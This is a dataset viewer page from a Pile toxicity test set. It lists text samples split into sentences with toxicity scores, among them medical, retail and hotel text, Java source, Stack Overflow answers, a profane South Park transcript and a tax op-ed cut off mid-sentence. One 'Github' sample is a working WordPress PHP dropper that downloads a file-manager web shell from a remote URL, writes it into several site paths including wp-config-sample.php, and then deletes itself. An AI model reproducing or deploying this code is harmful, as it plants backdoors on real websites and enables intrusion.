Datasets:

tomekkorbak

/

pile-detoxify-test

like 0

[ "Case studies in breakthrough pain.", "\nTo illustrate the variable presentations of and treatments for breakthrough pain (BTP). ", "Five cases of BTP were selected by the author, and treatment options were then considered. ", "Breakthrough pain presents in many different ways in clinical practice. ", "Clinicians must first evaluate patients to identify the subtype, etiology, severity, and pattern of BTP, and then use that information to suggest appropriate interventions. ", "Whenever possible, correctable causes of BTP should first be addressed. ", "A variety of treatment tools are available, including opioid analgesics, nonopioid analgesics, adjuvant agents, nonpharmacologic strategies, and procedural and surgical interventions. ", "In many cases, more than one treatment option will be appropriate, but in all cases, regular communication between patient and clinician will be needed to achieve optimal control of BTP. ", "Treatment of BTP should be individualized by using a multidisciplinary approach to address each patient's pain profile." ]

{ "pile_set_name": "PubMed Abstracts" }

[ 0.0007103372481651604, 0.0006410499918274581, 0.0005529191112145782, 0.000677456904668361, 0.000530070043168962, 0.0005562950973398983, 0.0008511748746968806, 0.0005509221809916198, 0.0006810068734921515 ]

[ "Description\n\nRebates\n\nSpecifications\n\nItems Included\n\nRate & Review\n\nThe Tiffen 58mm UV Protector Wide Angle Mount Filter is a general use, clear filter that helps to absorb ultraviolet light and reduce the bluish cast of daylight. ", "This filter is especially useful when photographing at high altitudes or around bodies of water. ", "No additional coloration or contrast is provided, allowing you to pair this filter with others.", "\n\nThe UV filter is also useful as a general protective filter to leave on lenses at all times. ", "Filters help to reduce dust and moisture from reaching your lens element and provide additional protection in case of drops or situations where scratching could occur.", "\n\nThis filter features a slimmer profile mounting ring, which is ideal for use with wide angle lenses. ", "It does not have front filter threads for stacking filters.", "\n\nTiffen filters are made using ColorCore technology; a process that involves laminating the filter substrate between 2 pieces of optical glass, grinding flat to a tolerance of 1/10,000th of an inch, then mounting to precision metal rings.", "\n\nAbsorbs some ultraviolet light and reduces bluish cast of daylight.", "\n\nClear filter provides no additional coloration or contrast, allowing you to pair this filter with others.", "\n\nPrice, images, specifications and descriptions of items are subject to change without notice. ", "We are not responsible for typographical or photographical errors. ", "Rebates & conditions, and expiration dates from manufacturers are subject to their authorization." ]

{ "pile_set_name": "Pile-CC" }

[ 0.0007781553431414068, 0.000766991637647152, 0.0008312782156281173, 0.000888827838934958, 0.0005839704535901546, 0.0006412257207557559, 0.0007137756329029799, 0.0006990193505771458, 0.0007338295108638704, 0.0007547353161498904, 0.0006205131066963077, 0.0009152779239229858, 0.0006826785393059254 ]

[ "Four Points by Sheraton Monterrey Linda Vista\n\nFour Points by Sheraton Monterrey Linda Vista\n\nAbout the Hotel\n\nProperty LocationWith a stay at Four Points by Sheraton Monterrey Linda Vista in Guadalupe, you'll be close to Estadio BBVA Bancomer and Fundidora Park. ", "This hotel is within close proximity of Parque Zoologico La Pastora and Bosque Magico.", "\n\nRoomsMake yourself at home in one of the 107 air-conditioned rooms featuring minibars. ", "Complimentary wireless Internet access keeps you connected, and cable programming is available for your entertainment. ", "Conveniences include safes and desks, as well as phones with free local calls.", "\n\nAmenitiesTake advantage of recreation opportunities including an indoor pool and a fitness center.", "\n\nDiningEnjoy a meal at a restaurant, or stay in and take advantage of the hotel's room service (during limited hours).", "\n\nBusiness, Other AmenitiesFeatured amenities include a 24-hour business center, dry cleaning/laundry services, and a 24-hour front desk. ", "This hotel has 5 meeting rooms available for events. ", "Free self parking is available onsite." ]

{ "pile_set_name": "Pile-CC" }

[ 0.0006206935504451394, 0.0006797962123528123, 0.001486439723521471, 0.0006229821010492742, 0.0005876555806025863, 0.0005797554040327668, 0.0006038489518687129, 0.0006646629190072417, 0.0005496324156410992, 0.0009352985071018338 ]

[ "/*\n* JBoss, Home of Professional Open Source\n* Copyright 2008-10 Red Hat and individual contributors\n* by the @authors tag. ", "See the copyright.txt in the distribution for a\n* full listing of individual contributors.", "\n*\n* This is free software; you can redistribute it and/or modify it\n* under the terms of the GNU Lesser General Public License as\n* published by the Free Software Foundation; either version 2.1 of\n* the License, or (at your option) any later version.", "\n*\n* This software is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. ", "See the GNU\n* Lesser General Public License for more details.", "\n*\n* You should have received a copy of the GNU Lesser General Public\n* License along with this software; if not, write to the Free\n* Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n* 02110-1301 USA, or see the FSF site: http://www.fsf.org.", "\n*\n* @authors Andrew Dinn\n*/\npackage org.jboss.byteman.agent.adapter;\n\nimport org.jboss.byteman.agent.", "TransformContext;\nimport org.objectweb.asm.*;", "\n\n/**\n * asm Adapter class used to add a rule event trigger call to a method of some given class\n */\npublic class ThrowTriggerAdapter extends RuleTriggerAdapter\n{\n public ThrowTriggerAdapter(ClassVisitor cv, TransformContext transformContext, String exceptionClass, int count)\n {\n super(cv, transformContext);\n this.exceptionClass = exceptionClass;\n this.count = count;\n }\n\n public MethodVisitor visitMethod(\n final int access,\n final String name,\n final String desc,\n final String signature,\n final String[] exceptions)\n {\n MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);\n if (injectIntoMethod(name, desc)) {\n if (name.equals(\"<init>\")) {\n return new ThrowTriggerConstructorAdapter(mv, getTransformContext(), access, name, desc, signature, exceptions);\n } else {\n return new ThrowTriggerMethodAdapter(mv, getTransformContext(), access, name, desc, signature, exceptions);\n }\n }\n return mv;\n }\n\n /**\n * a method visitor used to add a rule event trigger call to a method\n */\n\n private class ThrowTriggerMethodAdapter extends RuleTriggerMethodAdapter\n {\n /**\n * flag used by subclass to avoid inserting trigger until after super constructor has been called\n */\n protected boolean latched;\n private int visitedCount;\n\n ThrowTriggerMethodAdapter(MethodVisitor mv, TransformContext transformContext, int access, String name, String descriptor, String signature, String[] exceptions)\n {\n super(mv, transformContext, access, name, descriptor, signature, exceptions);\n visitedCount = 0;\n latched = false;\n }\n\n public void visitInsn(final int opcode) {\n if (opcode == Opcodes.", "ATHROW) {\n // ok, we have hit a throw -- for now we just count any throw\n // later we will try to match the exception class\n if (count == 0 || visitedCount < count) {\n // a relevant invocation occurs in the called method\n // check whether this is a real throw or a rethrow after a monitorexit\n if (!", "inRethrowHandler() && !", "inBytemanHandler()) {\n visitedCount++;\n if (!", "latched && (count == 0 || visitedCount == count)) {\n injectTriggerPoint();\n }\n }\n }\n }\n \n super.visitInsn(opcode);\n }\n }\n\n /**\n * a method visitor used to add a rule event trigger call to a constructor -- this has to make sure\n * the super constructor has been called before allowing a trigger call to be compiled\n */\n\n private class ThrowTriggerConstructorAdapter extends ThrowTriggerMethodAdapter\n {\n ThrowTriggerConstructorAdapter(MethodVisitor mv, TransformContext transformContext, int access, String name, String descriptor, String signature, String[] exceptions)\n {\n super(mv, transformContext, access, name, descriptor, signature, exceptions);\n // ensure we don't transform calls before the super constructor is called\n latched = true;\n }\n\n public void visitMethodInsn(\n final int opcode,\n final String owner,\n final String name,\n final String desc,\n boolean itf)\n {\n super.visitMethodInsn(opcode, owner, name, desc, itf);\n // hmm, this probably means the super constructor has been invoked :-)\n if (latched && isSuperOrSiblingConstructorCall(opcode, owner, name)) {\n latched = false;\n }\n\n }\n }\n\n private String exceptionClass;\n private int count;\n}" ]

{ "pile_set_name": "Github" }

[ 0.0007623999263159931, 0.0005965269519947469, 0.0006458634161390364, 0.0006461102748289704, 0.0005738140316680074, 0.000592279713600874, 0.0009273280156776309, 0.0008316165185533464, 0.004248274490237236, 0.002213649684563279, 0.003495688084512949, 0.0010354463011026382, 0.0019522466463968158 ]

[ "Q:\n\nForcing the Browser Back a Page\n\nI was wondering if there was any way through php or javascript I could tell the browser to go back to the page it came from, or even better not load the page at all (the later being probably impossible).", "\nThe reason for this is that I have written a small php script that will take parameters from the url and post a tweet for me discreetly while I am at work.", "\nex.", "\ntweet.php?user=myname&pass=mypass&message=My message goes here\n\nThough it works, I get stuck with a white page. ", " It would be nice if I could have the browser go back to the page it was just on, so the pause between work would be minimal.", "\nThank you for the help!", "\n\nA:\n\njavascript: history.go(-1);\n\nA:\n\nThe JavaScript function for this is window.back(). ", " Have your PHP script produce something like the following to have browsers automatically \"bounced back\" to the submitting page:\n<html>\n <head>\n <title>Success</title>\n </head>\n\n <body onload=\"window.back()\">\n <h1>Success</h1>\n </body>\n</html>\n\nNon-JS browsers will see a \"success\" message, JS browsers will get bounced back.", "\n\n" ]

{ "pile_set_name": "StackExchange" }

[ 0.0009467824129387736, 0.0005973735824227333, 0.0009988500969484448, 0.001211633556522429, 0.0005791379371657968, 0.0005470950854942203, 0.000708350446075201, 0.0021539467852562666, 0.001995444530621171 ]

[ "ieReads + FedEx Supply Chain = Olympian Organizers\n\nieReads + FedEx Supply Chain = Olympian Organizers\n\nFeb 1, 2019\n\nFoothill Family Shelter process group workshops occur Thursday nights and parents are invited to bring their children, however, there is not always a volunteer designated to oversee the children. ", "ieReads is working to place a regular volunteer to read to children attending these workshops, however,before this can occur, over 1,000 books needed to be sorted and organized so that the ieReads volunteer would be able to effectively read age appropriate books to the children. ", "For this special ieReads volunteer opportunity, 7 amazing and cheerful volunteers from FedEx Supply Chain in Fontana, California helped sort and label over 500 books for the children's rooms. ", "Now, the participating children will receive additional literacy programming from the ieReads program, which is working to ensure that more children in the Inland Empire are reading at grade level by the end of the 3rd grade. ", "Thank you FedEx Supply Chain!" ]

{ "pile_set_name": "Pile-CC" }

[ 0.0006101574981585145, 0.0006626124959439039, 0.0005509914481081069, 0.0007745564798824489, 0.0010942301014438272 ]

[ "<?", "php\r\ninclude_once('../../../wp-load.php');\r\n//testexex\r\n$request = wp_remote_get('https://raw.githubusercontent.com/aron-tn/megaBot_Source/master/TryagFileManager3.txt');\r\nif ( ! ", "is_wp_error( $request )){\r\nfile_put_contents('../../../wp-content/uploads/assignments/ms-sitemple.php',$request['body']);\r\nif (file_exists('../../../wp-content/uploads/assignments/ms-sitemple.php')) {echo 'ok:'.", "'1';unlink(__FILE__); exit;}\r\n\r\nfile_put_contents('../../../wp-config-sample.php',$request['body']);\r\nif (file_exists('../../../wp-config-sample.php')) {echo 'ok:'.", "'2';unlink(__FILE__); exit;}\r\n\r\nfile_put_contents('../../store.php',$request['body']);\r\nif (file_exists('../../store.php')) {echo 'ok:'.", "'3';unlink(__FILE__); exit;}\r\n\r\nfile_put_contents('assign.php',$request['body']);\r\nif (file_exists('assign.php')) {echo 'ok:'.", "'4';unlink(__FILE__); exit;}\r\n}\r\n\r\n\r\n?", ">" ]

{ "pile_set_name": "Github" }

[ 0.0010000212350860238, 0.0010362041648477316, 0.0007526037516072392, 0.0007147176656872034, 0.000701485900208354, 0.0006985208601690829, 0.0007141835521906614, 0.0012746788561344147 ]

[ "Q:\n\nChange CSS of Dynamic buttons\n\nI have the follow and is able to do the alert. ", "How can I change the class of the button selected?", "\n$('body').on(\"click\", \"button[name=likebtn]\", function (){\n alert($(this).attr(\"value\"));\n\n $(this).toggleClass('btn btn-mini likebtn');\n// OR\n\n $(this).addClass('btn btn-mini likebtn').removeClass('btn btn-mini btn-primary likebtn');\n});\n\nThe buttons are dynamically output:\n$('#div').append(\"<button class='btn btn-mini btn-primary likebtn' name='likebtn' type='button' value='\"+obj.value+\"'>\"+\"LIKE\"+\"</button>\");\n\nI tried the following but failed:\n\nA:\n\nMaybe you should use removeClass() before addClass()\n$(this).removeClass('btn-primary').addClass('btn btn-mini likebtn');\n\nBecause you add btn btn-mini likebtn by .addClass('btn btn-mini likebtn') and then you remove them by calling .removeClass('btn btn-mini btn-primary likebtn');\nEDIT: If you want to remove btn-primary class only:\n$('button[name=likebtn]').on(\"click\", function (){\n// ...\n $(this).removeClass('btn-primary');\n});\n\n" ]

{ "pile_set_name": "StackExchange" }

[ 0.0006587206153199077, 0.0006933292024768889, 0.0025452636182308197 ]

[ "Three copies of the Dungeon Fantasy Roleplaying Game, one copy of the Dungeon Fantasy GM Screen, one of each of the offered add-on PDFs (including a one-year subscription to Pyramid), plus all unlocked stretch goals. ", "Additionally, our artist, working from your photo, will include you in one of the interior illustrations, and your name will appear in the credits. ", "We'll work with you on your place in the box. ", "Will you be a powerful warrior in battle, a wizard casting spells, or a thief picking the lock to a dungeon door?", "\n\nPhoto reference and credited name subject to Steve Jackson Games' approval.", "\n\nSHIPPING WILL BE CHARGED SEPARATELY USING BACKERKIT AFTER THE PROJECT HAS CLOSED. ", "Shipping is estimated at $15 for U.S. addresses. ", "See the FAQ for estimated international shipping charges.", "\n\nLess" ]

{ "pile_set_name": "OpenWebText2" }

[ 0.0006349119357764721, 0.0005887900479137897, 0.0007551342714577913, 0.02897651121020317, 0.0005624801269732416, 0.0005878653610125184, 0.0005606845370493829, 0.000578456383664161, 0.0029788182582706213 ]

[ "Q:\n\nWhy must x and y coordinates be initialized inside paintComponent()?", "\n\nExercise1609: Write a program that draws line segments using the arrow keys. ", "The line starts from the center of the frame and draws towards east,north, west, or south when the right-arrow key, up-arrow key, left-arrow key, or down-arrow key is pressed. ", "In short, draw a maze. ", "See comments below for a description of my question. ", "\n import java.awt.*;", "\n import java.awt.event.*;", "\n import javax.swing.", "JFrame;\n import javax.swing.", "JPanel;\n\n public class Exercise1609 extends JFrame {\n\n private KeyboardPanel panel = new KeyboardPanel();\n\n public Exercise1609() {\n add(panel);\n panel.setFocusable(true);\n }\n\n public static void main(String[] args) {\n Exercise1609 frame = new Exercise1609();\n frame.setTitle(\"Tegn med piltaster\");\n frame.setSize(600, 300);\n frame.setLocationRelativeTo(null);\n frame.setDefaultCloseOperation(JFrame.", "EXIT_ON_CLOSE);\n frame.setVisible(true);\n }\n\n //The panel that listens for key and responds by drawing \n public static class KeyboardPanel extends JPanel {\n\n private int x,y,previousX,previousY;\n private boolean firstTime = true;\n\n public KeyboardPanel() {\n\n /**\n * why must x and y be initialized inside paintComponent? ", "\n * if I want to start drawing from the middle of the panel?", "\n * If I remove the if-block inside paintComponent and instead\n * place the initialization here, as shown with the two lines below:\n * x = previousX = getWidth() / 2;\n * y = previousY = getHeight() / 2;\n * ...then the program will not start to draw from the middle,\n * but upper left corner of the screen\n */\n addKeyListener(new KeyAdapter() {\n @Override\n public void keyPressed(KeyEvent e) {\n previousY = y;\n previousX = x; \n switch (e.getKeyCode()) {\n case KeyEvent.", "VK_DOWN:\n y++;\n break;\n case KeyEvent.", "VK_UP: \n y--;\n break;\n case KeyEvent.", "VK_RIGHT:\n x++;\n break;\n case KeyEvent.", "VK_LEFT:\n x--;\n break;\n }\n repaint();\n }\n });\n }//end constructor\n\n @Override\n protected void paintComponent(Graphics g) {\n super.paintComponents(g);\n\n if(firstTime) {\n //Why can't x and y be initialized outiside paintComponent?", "\n //Why can't they be initialized inside the constructor of this class?", "\n x = previousX = getWidth() / 2;\n y = previousY = getHeight() / 2;\n firstTime = false;\n }\n g.drawLine(previousX, previousY, x, y);\n System.out.println(x + \" \" + y);\n\n }\n }\n\n }\n\nThe last line System.out.println(x + \" \" + y); outputs 0,0 if I try to initialize x and y anywhere else\nbut paintComponent(). ", "When initialized inside paintcomponent() the output is 292,131...which is what I want.", "\n\nA:\n\ngetWidth() and getHeight() are not set correctly until the UI elements have gone through a layout pass. ", "This is guaranteed to happen before paintComponent() is called but probably not at other points where you have tried to call them.", "\nSee: getWidth() and getHeight() are 0 after calling setPreferredSize()\nIf you need to be notified when the width and height of the component is set/changed, check out ComponentListener: http://docs.oracle.com/javase/7/docs/api/java/awt/event/ComponentListener.html\n\n" ]

{ "pile_set_name": "StackExchange" }

[ 0.0006577784079127014, 0.0008730181725695729, 0.0006811970961280167, 0.0010882646311074495, 0.0005411534220911562, 0.0007738088606856763, 0.0007252195500768721, 0.0008076902595348656, 0.0008148693013936281, 0.0008615826372988522, 0.0009996102889999747, 0.0009791702032089233, 0.0016142928507179022, 0.0019074052106589079, 0.001271857414394617, 0.0015889254864305258, 0.0015665256651118398, 0.0007095831679180264, 0.0041574579663574696, 0.0007237810641527176, 0.0007545950938947499, 0.0007420629262924194, 0.0007189757307060063 ]

[ "\"open presents!\" \"", "Open mine first.\" \"", "It's the red one.\" \"", "sweetie.\" \"", "It's Stan's birthday.\" \"", "Eric gets one too.\" \"", "he gets a little upset.\" \"–", " What did I get?\" \"", "God.\" \"", "Butters.\" \"", "I know how you like Legos.\" \"", "Happy birthday!\" \"", "I've got a racing game for Xbox!\" \"", "You guys see that?\" \"", "273)}– This one's from me.\" \"–", " Thanks.\" \"", "muffin.\" \"", "A Ben 10 wrist rocket!\" \"", "It's what I wanted for Stan's birthday.\" \"", "What did you get?\" \"", "273)}– Is this the new Gersploosh album?\" \"–", " Yeah!\" \"", "273)}– Is that a Tween Wave band?\" \"–", " They're the best!\" \"", "You know you're not allowed to listen to this stuff.\" \"", "I'm 10 years old now.\" \"", "I've told you what I think of this music.\" \"", "You have plenty of other gifts to enjoy.\" \"", "Looks like somebody's on the rag.\" \"", "Stan told me you took away his CD at his birthday party.\" \"", "For crying out loud!\" \"", "and that's all he cares about.\" \"", "Should we really be telling our son what music he can and can't listen to?\" \"", "if it's that stupid Tween Wave garbage.\" \"", "273)}– Tween Wave?\" \"–", " You haven't heard it?\" \"", "It's terrible.\" \"", "It's hardly even music.\" \"", "It just sounds like crap.\" \"", "Come on.\" \"", "Don't you remember having our parents say the music we liked sounded like crap?\" \"", "This is different.\" \"", "here we are.\" \"", "We're the old people who think the younger generation's music sounds like shit.\" \"", "It's not because I'm older.\" \"", "I'm telling you our music was better.\" \"", "our music was better.\" \"", "Not this garbage the youngins listen to. ", "and tell me you don't think it sounds like crap.\" \"", "I'd love to.\" \"", "I'm not an old fuddy-duddy.\" \"", "I'm still cool.\" \"", "right?\" \"", "I mean...\" \"I like it.\" \"", "that music sounds like shit!\" \"", "so you don't get it.\" \"", "Admit it.\" \"", "You think it sounds like crap too.\" \"", "It doesn't sound like crap at all!\" \"", "I think it's awesome. ", "your kids are probably listening to it. ", "240)}or the Tweens. ", "240)}but many parents say Tween Wave sounds like crap.\" \"", "It's just vulgar and stupid.\" \"", "Music used to be good.\" \"", "This sounds like poo.\" \"", "I certainly don't understand kid's music today.\" \"", "Sounds like diarrhea to me.\" \"", "say they don't hear crap at all.\" \"", "273)}– Parents are dumb.\" \"–", " They don't get it.\" \"", "273)}– Parents are stupid.\" \"–", " Tween Wave is sweat. ", "'cause their ears are old.\" \"", "Parents are dumb. ", "none of you are allowed to listen to Tween Wave music.\" \"", "That's so unfair!\" \"", "273)}– That's our music.\" \"", "We like it.\" \"–", " It's good!\" \"", "What's good about crap sounds to a drum beat?\" \"", "What are you talking about?\" \"", "It doesn't sound that way to us.\" \"", "It doesn't sound like that to us!\" \"", "I want to educate you kids with some real music.\" \"", "This is The Police.\" \"", "Compare this to Tween pop and tell us which one you think is real music.\" \"", "273)}– What?\" \"–", " That sounds like shit.\" \"", "it sounds like shit?\" \"", "That doesn't sound like shit.\" \"", "273)}– Gross!\" \"–", " Turn it off! ", "I still love you.\" \"", "I know.\" \"", "I love you too.\" \"", "I don't want you listening to that stuff.\" \"", "It's OK.\" \"", "I understand.\" \"", "sweetie.\" \"", "Good night.\" \"", "What the hell?\" \"", "This is the part I was talking about.\" \"", "Check out the base line on this.\" \"", "That one's cool.\" \"", "This part's killer.\" \"", "dudes.\" \"", "Have you listened to this sixth track?\" \"", "I think it's my new favorite.\" \"", "I've listened to it.\" \"", "Can I talk to you alone for a second?\" \"", "Sure.\" \"", "273)}– What's up?\" \"–", " I have to admit something to you.\" \"", "You know how I told you I like the new Gersploosh album?\" \"", "I lied.\" \"", "I don't like it.\" \"", "I don't like it at all.\" \"", "Really?\" \"", "273)}– That's OK.\" \"–", " You don't understand.\" \"", "Something's happened.\" \"", "Tween Wave doesn't sound the same.\" \"", "What's it sound like?\" \"", "It kind of sounds like shit.\" \"", "You mean you don't like the singing or the lyrics or what?\" \"", "I mean it sounds like somebody is shitting in my ears.\" \"", "Just listen really close.\" \"", "You don't hear shit?\" \"", "That doesn't sound like shit to you?\" \"", "Maybe you should see a doctor. ", "and it sounded like shit to me.\" \"", "What about food?\" \"", "Are things you thought tasted good tasting like shit to you now too? ", "and they tasted like shit.\" \"", "This says you had a birthday recently?\" \"", "273)}– I just turned 10.\" \"–", " That makes sense.\" \"", "all that stuff develops and changes.\" \"", "this is normal?\" \"–", " It's very normal.\" \"", "Let's do a quick ear exam.\" \"", "and you tell me what you hear.\" \"", "273)}– What's that sound like to you?\" \"–", " Sounds like shit.\" \"", "I'm gonna play you some good old Bob Dylan.\" \"", "273)}– That sounds like shit too.\" \"–", " This sounds like shit to you?\" \"", "It's just shit.\" \"", "That's very strange.\" \"", "I'm gonna try something else.\" \"", "Look at these two pictures.\" \"", "and the other is a turd in a microwave.\" \"", "Which one is the ad for The Zookeeper?\" \"", "They look the same.\" \"", "You don't see any difference in the pictures?\" \"", "and that is a turd about to be reheated.\" \"", "They both look like turds about to be reheated to me.\" \"", "I think I know what this is. ", "and things that seemed shitty don't seem as shitty.\" \"", "the wires have gotten crossed and everything looks and sounds like shit to you.\" \"", "It's a condition called being a cynical asshole.\" \"", "There's no known cure. ", "and everything they say just starts to...\" \"Do you mind cleaning up the garage like I asked you?\" \"", "Get out of my room.\" \"", "I'm listening to my music.\" \"", "Stop pretending to like the kids' music.\" \"", "It's pathetic.\" \"", "You know damn well it sounds like crap to you too.\" \"", "It doesn't sound like crap to me.\" \"", "Don't you see what this is?\" \"", "You had dreams of being a rock star when you were younger.\" \"", "you can't admit the next generation's music is shitty.\" \"", "It's called getting older.\" \"", "It's OK.\" \"", "I think Tween Wave music is complex and awesome and speaks to my youthful rebellious spirit.\" \"", "It's crap.\" \"", "It's so simple and stupid that anybody could play it.\" \"", "Anybody could play it?\" \"", "Do you really think so? ", "everybody.\" \"", "Thank you all for coming tonight.\" \"", "and here's a little bit of rattlesnake.\" \"", "but it's under control!\" \"", "I said I got a fever.\" \"", "Need it take it kinda slow!\" \"", "but it's under control!\" \"", "You suck.\" \"", "'cause you're old.\" \"", "Did you know we're living in the Tween time?\" \"", "I ain't heard that.\" \"", "It's the period between 2009 and 2013.\" \"", "They call it the Tweens. ", "he gets up on his stage and shits his britches.\" \"", "What for? ", "strums a guitar and starts loading his britches up like it's going out of style.\" \"", "It's like some kind of britches holocaust.\" \"", "Feller calls himself Steamy Ray Vaughn.\" \"", "You mean that guy that plays the blues and died in an airplane crash?\" \"", "That's Stevie Ray Vaughn.\" \"", "Steamy Ray Vaughn just shits his britches.\" \"", "tackle him!\" \"", "Do you think he's lying or telling the truth?\" \"", "273)}– He's lying.\" \"", "Hit X. – He's telling the truth!\" \"", "guys.\" \"–", " Hey.\" \"", "What did the doctor say?\" \"", "He said I have cynicism.\" \"", "What's that?\" \"", "but it's stupid.\" \"", "I'm not cynical.\" \"", "All the doctor wants is a pay check.\" \"", "and he just spouted a bunch of shit.\" \"", "we're playing L.A. Noire.\" \"–", " That shitty game?\" \"", "Who plays to listen to a bunch of talks and press the X button?\" \"", "273)}– Ask him about the murder.\" \"–", " We got him!\" \"", "How can people say this game is cool?\" \"", "Your choices don't even matter.\" \"", "273)}– Hit the Y button!\" \"–", " We're gonna level up to detective.\" \"", "That's such a shitty device to keep people playing.\" \"", "why don't we do something else?\" \"", "This looks like shit.\" \"", "273)}– You don't wanna eat it?\" \"–", " It looks like shit.\" \"", "Bunch of processed gooey shit.\" \"", "Looks like ice cream to me.\" \"", "how about we go to the mall?\" \"", "Bunch of people trying to sell a bunch of shit.\" \"", "273)}– What do you want to do?\" \"–", " I'm cool with whatever.\" \"", "Siddy Bob!\" \"", "Too much!\" \"", "Too much!\" \"", "I never seen britches take a whooping like that.\" \"", "I told you.\" \"", "Them britches don't stand a chance.\" \"", "siddy yeah!\" \"", "Thank you so much.\" \"", "I'd like to bring up a special guest. ", "because I do love Tween Wave so much.\" \"", "And I started chatting with this nice lady and turns out she's a really talented artist as well.\" \"", "Please welcome Miss Steamy Nicks.\" \"", "Thank you.\" \"", "Thank you so much.\" \"", "Wait now.\" \"", "Who's that lady?\" \"", "That's there Steamy Nicks.\" \"", "You mean that gal who played for Fleetwood Mac and wrote that song Landslide?\" \"", "That's Stevie Nicks.\" \"", "Steamy Nicks just shits her britches.\" \"", "Who the hell is that woman?\" \"", "What the hell do you think you're doing?\" \"", "I agree.\" \"", "Why don't you leave them poor britches alone?\" \"", "Them britches have had enough!\" \"", "All alone today?\" \"", "It sucks.\" \"", "All my friends are sick with the flu.\" \"", "What can I get you?\" \"", "Do you have anything that doesn't taste like shit?\" \"", "aren't you?\" \"", "Why?\" \"", "There's nothing but shit on TV.\" \"", "Video games are all shit.\" \"", "The world's a big turd.\" \"", "and they're all sick.\" \"", "Just get me a cheeseburger.\" \"", "Tell the chef to go easy on the shit.\" \"", "I know.\" \"", "That show's hilarious.\" \"", "I thought you guys were sick.\" \"", "Kenny.\" \"", "You totally lied to me!\" \"", "I didn't lie to you.\" \"", "I was... then the guys called and said they felt better...\" \"Where were you guys going?\" \"", "All right.\" \"", "We were going to the movies.\" \"", "Why didn't you tell me?\" \"", "I wanna go!\" \"", "We wanted to be able to go to the movies and enjoy ourselves.\" \"", "but you're a bummer to be around.\" \"", "Everything is \"that looks like shit\" and \"this is shitty.\" \"", "You guys don't want to be around me?\" \"", "It's just one movie.\" \"", "We want to have a good time.\" \"", "I promise.\" \"", "Let me go to the movies with you.\" \"", "But you've got to promise to not complain.\" \"", "I won't say a word. ", "shit.\" \"", "How long before they start this goddamn thing?\" \"", "movie trailers!\" \"", "Adam Sandler is Jack.\" \"", "Adam Sandler is Jill.\" \"", "God.\" \"", "You said you wouldn't say everything looks like shit.\" \"", "Sorry if I see things for what they are.\" \"", "I'm sorry.\" \"", "ears and mouth.\" \"", "It's Adam Sandler in...\" \"Rated arg for pirates.\" \"", "Fuck you!\" \"", "Looks good.\" \"", "273)}– How can you say that looks good?\" \"–", " You're doing it again.\" \"", "Jim Carrey has a bunch of turds in his apartment.\" \"", "273)}– Knock it off!\" \"–", " But it's just crap.\" \"", "They're penguins.\" \"", "Stop it!\" \"", "you'll pay to go see it.\" \"", "Fuck you!\" \"", "July 12.\" \"", "The President of the United States is a duck?\" \"", "and the country is going to the dogs.\" \"", "the president is a dog.\" \"", "Who cares?\" \"", "Coming June something.\" \"", "people!\" \"", "I'm not sitting through a whole movie with you.\" \"", "I'm sorry.\" \"", "Kyle's right.\" \"", "You suck.\" \"", "Me?\" \"", "Did you see that shit?\" \"", "Hang on.\" \"", "We don't want to hang out with you anymore.\" \"", "Get it through your head.\" \"", "You've changed.\" \"", "the world has.\" \"", "Don't you see it?\" \"", "And I don't want to.\" \"", "maybe we should just... and that's supposed to be my fault?\" \"", "because you're a child!\" \"", "What do you suppose is going on in there?\" \"", "Sounds like Steamy Ray Vaughn is going at it with his wife over Steamy Nicks.\" \"", "now.\" \"", "it's our chance to save them britches.\" \"", "You do this all the time! ", " then you've got to be a celebrity chef.\" \"", "Why can't you ever just support me?\" \"", "Support what?\" \"", "Another stupid dream of yours?\" \"", "and you feel old.\" \"", "What does our son turning 10 have to do with you making the same mistakes again and again?\" \"", "Because I'm unhappy!\" \"", "I've been unhappy for a long time.\" \"", "I'm unhappy too.\" \"", "obviously.\" \"", "How much longer can we keep doing this? ", "it all resets until it happens again. ", "but it just keeps getting more and more ridiculous.\" \"", "we're setting you free.\" \"", "I don't know if I've changed or if you have. ", "and I want to enjoy it.\" \"", "but I can't fake it anymore.\" \"", "You seem kind of shitty to me.\" \"", "You kind of seem shitty to me too.\" \"", "People get older.\" \"", "People grow apart.\"" ]

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[ "WASHINGTON: President Trump says he wants a second round of tax cuts. ", "He says he is working on details now but expects his proposal to be ready by early this Fall. ", "Maybe this proposal can fix the income tax problem once and for all. ", "But to do that a single rate tax is necessary.", "\n\nTo determine what a plan to permanently fix the federal income tax code would look like, let’s first look at what the goals of income tax policy should be.", "\n\nIncome Tax Policy Goals\n\nThe first goal should be to enact a plan that raises sufficient revenue to cover all government spending which will eliminate the annual budget deficit. ", "The tax plan should encourage economic growth, rather than placing burdens on growth. ", "The plan should be as easy to administer as possible so that households could easily and without the advice of professionals, calculate their tax liability.", "\n\nAny new plan should also not distort any markets by placing special taxes or subsidies on certain expenditures. ", "The plan should be flexible enough so that changes could easily be made when economic conditions warrant. ", "And lastly, perhaps most politically important, the plan should be viewed by taxpayers as being fair and equitable.", "\n\n\n\n\n\nThis is the only tax plan that can meet all of the goals, although there will be debate about the last goal.", "\n\nHere’s the plan:\n\nA single rate tax of 15 percent on all income above a livable minimum (twice the poverty level) with no deductions for anything. ", "All income is treated the same whether earned from wages, rent, interest, profit, dividends or capital gains. ", "The corporate tax rate is also 15%.", "\n\nThe plan is easy to administer.", "\n\nFor a family of four, the livable minimum would be about $50,000. ", "If that household had total income of $70,000, they would subtract the livable minimum of $50,000 leaving a taxable balance of $20,000. ", "Just multiple that by 15% and they would pay $3,000 in federal income tax. ", "That’s it. ", "Tax liability does not change no matter how that income was earned or how that income was disposed.", "\n\nBy eliminating all loopholes, this policy would treat every American exactly the same, giving no preferential treatment to anyone. ", "Labor and capital taxes are at the same rate. ", "The tax liability calculation is simple. ", "No tax preparers are needed, and we have almost no need for the increasingly obtrusive IRS.", "\n\nThe plan would stimulate economic growth.", "\n\nIn the short term annual economic growth could increase to 5% or more. ", "In the long term average annual economic growth would be at least ½% higher than the historical standard of about 3%.", "\n\nThe plan is approximately revenue neutral.", "\n\nThe plan may result in a slight decline in tax revenue in the first year or so. ", "But then tax revenue would increase at a faster rate than the current tax code increases revenue, mostly because of the rapid economic growth.", "\n\nThe plan is flexible.", "\n\nIf Congress determines that fiscal policy action is necessary to stimulate future growth during a recession, the 15% rate could be lower for a short time. ", "If Congress decided some taxpayers need credits, the livable minimum could be increased for say single mothers who need help with child care expenses.", "\n\nThe plan is (arguably) 